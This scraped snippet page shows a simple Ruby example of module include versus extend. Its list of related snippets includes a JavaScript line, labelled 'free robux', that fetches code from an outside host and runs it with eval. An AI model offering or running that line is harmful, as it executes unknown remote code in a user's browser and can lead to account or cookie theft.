Ruby extend

module ReusableModule
  def module_method
    puts "Module Method: Hi there!"
  end
end

class ClassThatIncludes
  include ReusableModule
end
class ClassThatExtends
  extend ReusableModule
end

puts "Include"
ClassThatIncludes.new.module_method       # "Module Method: Hi there!"
puts "Extend"
ClassThatExtends.module_method            # "Module Method: Hi there!"

Source: stackoverflow.com

Similar codes

0 vote252 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 2000000000000
Ruby
2 votes250 views1 answer
Array ruby taking 3 last value
Ruby
0 vote230 views1 answer
Font awesome rails
Ruby
1 vote250 views1 answer
Rake db:rollback not doing anything
Ruby
0 vote217 views1 answer
Send email rails c one line
Ruby
1 vote245 views1 answer
How drop model rails
Ruby
0 vote226 views1 answer
Run method before rails
Ruby
0 vote211 views1 answer
Ruby select first n elements from array
Ruby
0 vote236 views1 answer
Ruby get current datetime utc
Ruby
1 vote231 views1 answer
Ruby file get line number
Ruby